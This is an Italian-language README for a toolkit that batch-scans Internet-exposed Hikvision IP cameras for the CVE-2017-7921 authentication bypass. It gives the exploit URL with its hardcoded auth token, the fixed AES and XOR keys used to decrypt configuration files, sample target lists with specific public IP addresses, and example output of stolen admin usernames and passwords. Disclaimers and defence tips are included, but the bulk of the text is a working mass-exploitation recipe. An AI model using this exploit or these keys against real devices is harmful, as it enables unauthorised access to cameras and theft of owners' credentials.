
CVE-2017-7921-Research-Toolkit GUI
Utilizzato per testare rapidamente la vulnerabilità CVE-2017-7921 di Hikvision tramite FOFA, fornendo le credenziali di login e generando un file JSON.
CVE-2017-7921 Research Toolkit
Dichiarazione di sicurezza: questo strumento è destinato esclusivamente a ricerche di sicurezza autorizzate e alla verifica delle vulnerabilità.
Indice
- Dichiarazione legale ed etica
- Descrizione del progetto
- Caratteristiche
- Installazione
- Utilizzo
- Output
- Suggerimenti per la difesa e la correzione
- Dettagli tecnici
- Ringraziamenti
⚖️ Dichiarazione legale ed etica
Nota importante: utilizzando questo strumento, accetti i seguenti termini
- Solo test autorizzati: utilizzalo esclusivamente su sistemi per i quali hai una esplicita autorizzazione scritta.
- Rispetta la legge: attieniti rigorosamente alla Legge sulla sicurezza informatica e alle normative locali applicabili.
- Divulgazione responsabile: segnala le vulnerabilità scoperte ai produttori attraverso i canali ufficiali.
- Scopo educativo: questo strumento è finalizzato ad aumentare la consapevolezza sulla sicurezza IoT.
- Responsabilità personale: l'uso improprio dello strumento comporta conseguenze legali a carico dell'utente.
Questo progetto segue la Policy sulla sicurezza informatica di GitHub e le linee guida per la divulgazione del Centro di risposta alla sicurezza di Hikvision.
📖 Descrizione del progetto
Strumento di scansione e verifica batch per la vulnerabilità di bypass dell'autenticazione CVE-2017-7921 nelle telecamere IP Hikvision, con supporto per la decrittazione automatica dei file di configurazione e l'estrazione delle credenziali.
Obiettivi di progettazione
- Aiutare i ricercatori di sicurezza a valutare lo stato di sicurezza di dispositivi su larga scala.
- Fornire ai proprietari dei dispositivi la capacità di autoispezione.
- Supportare la generazione di report con suggerimenti di correzione.
- Promuovere il miglioramento della sicurezza dei dispositivi IoT.
✨ Caratteristiche
- ✅ Scansione batch di elenchi di dispositivi in formato JSON
- ✅ Scansione concorrente multi-thread (numero di thread configurabile)
- ✅ Download automatico dei file di configurazione crittografati
- ✅ Decrittazione in tempo reale ed estrazione delle credenziali di accesso
- ✅ Visualizzazione in tempo reale dello stato di avanzamento (tqdm)
- ✅ Salvataggio automatico dei risultati in report JSON
- ✅ Supporto per la ripresa della scansione dopo interruzione
🛠️ Installazione
Requisiti di sistema
- Python 3.7 o superiore
- Supportato solo su Linux / macOS (funzionalità limitate su Windows)
Installazione delle dipendenze
git clone https://github.com/[tuo_username]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt
Contenuto di requirements.txt
requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0
📊 Utilizzo
1. Preparare il file dei dati dei dispositivi
Nella directory dello strumento, crea la cartella zc/ e inserisci l'elenco dei dispositivi in formato JSON (un oggetto dispositivo per riga):
mkdir zc
Esempio di file: devices_2025.json
{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}
Descrizione dei campi:
| Campo | Descrizione | Obbligatorio |
|---|---|---|
link | Indirizzo HTTP/HTTPS del dispositivo | ✅ Sì |
city | Informazioni sulla città | ❌ No |
country | Codice paese | ❌ No |
org | Organizzazione/ISP | ❌ No |
2. Eseguire lo strumento di scansione
python batch_decrypt.py
3. Esempio di interazione
════════════════════════════════════════════════════════════════════════════════
Strumento di scansione batch delle vulnerabilità dei file di configurazione delle telecamere Hikvision
════════════════════════════════════════════════════════════════════════════════
File JSON disponibili:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45.678 byte)
════════════════════════════════════════════════════════════════════════════════
Seleziona il numero del file: 1
File selezionato: devices_2025.json
Caricamento dati dei dispositivi in corso...
Numero totale di dispositivi da scansionare: 2000
Inserisci il numero di thread concorrenti (default: 5): 10
Thread concorrenti: 10
Avvio scansione...
Dispositivi scansionati totali: 2000
Dispositivi vulnerabili trovati: 127
Dispositivi vulnerabili salvati in: vulnerable_devices.json
📁 Output
Al termine della scansione viene generato il file vulnerable_devices.json, contenente le informazioni di tutti i dispositivi vulnerabili.
Esempio di output:
[
{
"url": "http://109.50.152.186",
"config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
"username": "admin",
"password": "123456",
"city": "Lisbon",
"country": "PT",
"org": "ISP Telecom",
"status": "success"
}
]
🛡️ Suggerimenti per la difesa e la correzione
Per i proprietari dei dispositivi
- Aggiornare immediatamente il firmware: visita il sito ufficiale di Hikvision per scaricare l'ultima versione.
- Modificare la password predefinita: anche dopo l'aggiornamento, cambia la password predefinita di admin.
- Isolamento di rete: posiziona le telecamere in una VLAN separata, vietandone l'accesso diretto da Internet.
- Abilitare la whitelist IP: consenti solo indirizzi IP attendibili per l'accesso all'interfaccia di gestione.
Per i professionisti della sicurezza
- Mantenere riservati i risultati della scansione: non divulgare i dettagli dei dispositivi non ancora riparati.
- Assistere nella correzione: contatta attivamente i proprietari dei dispositivi per fornire supporto tecnico.
- Report conformi: genera report di valutazione della sicurezza conformi agli standard ISO 27001.
🔬 Dettagli tecnici
Principio della vulnerabilità
- Bypass dell'autenticazione:
/System/configurationFile?auth=YWRtaW46MTEKutilizza credenziali hardcoded. - Crittografia debole: il file di configurazione è crittografato con una chiave AES-ECB fissa.
- Esposizione della chiave: la chiave
279977f62f6cfd2d91cd75b889ce0c9aè hardcodata nel firmware.
Flusso di crittografia
- Acquisizione del file binario crittografato di configurazione.
- Decrittografia AES-ECB (rimozione del primo blocco).
- Offuscamento XOR (chiave:
0x73, 0x8B, 0x55, 0x44). - Estrazione tramite regex dell'account admin e dei campi password successivi.
📝 Licenza
Questo software è destinato esclusivamente a scopi di ricerca di sicurezza autorizzata e formazione. L'utente è tenuto a garantire la conformità a tutte le leggi applicabili.
🙏 Ringraziamenti
- Grazie a Hikvision per aver risposto tempestivamente e pubblicato gli aggiornamenti del firmware.
- Grazie alla comunità open source per i materiali di analisi delle vulnerabilità.
- Questo progetto segue le Migliori pratiche per la ricerca sulla sicurezza IoT.
Ultimo aggiornamento: 2025-01-29 | Versione: v1.0.0 | CVE supportato: CVE-2017-7921